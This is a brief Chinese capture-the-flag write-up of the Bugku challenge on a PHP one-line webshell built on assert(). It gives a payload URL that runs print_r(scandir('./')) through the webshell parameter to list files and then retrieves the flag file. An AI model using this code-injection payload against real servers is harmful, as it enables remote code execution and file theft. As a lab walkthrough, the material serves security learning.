bugku 過狗一句話

分析 根據提示，分析得關鍵在於assert()，查資料得assert()用於調試，跟eval()差不多，但是eval()只能執行符合php編碼規範的$code_str 解題 構造payload http://123.206.87.240:8010/?s=print_r(scandir(’./’)); 得到目錄結構 再訪問http://123.206.87.240:8010/fl4g.txt 即可

>>阅读原文<<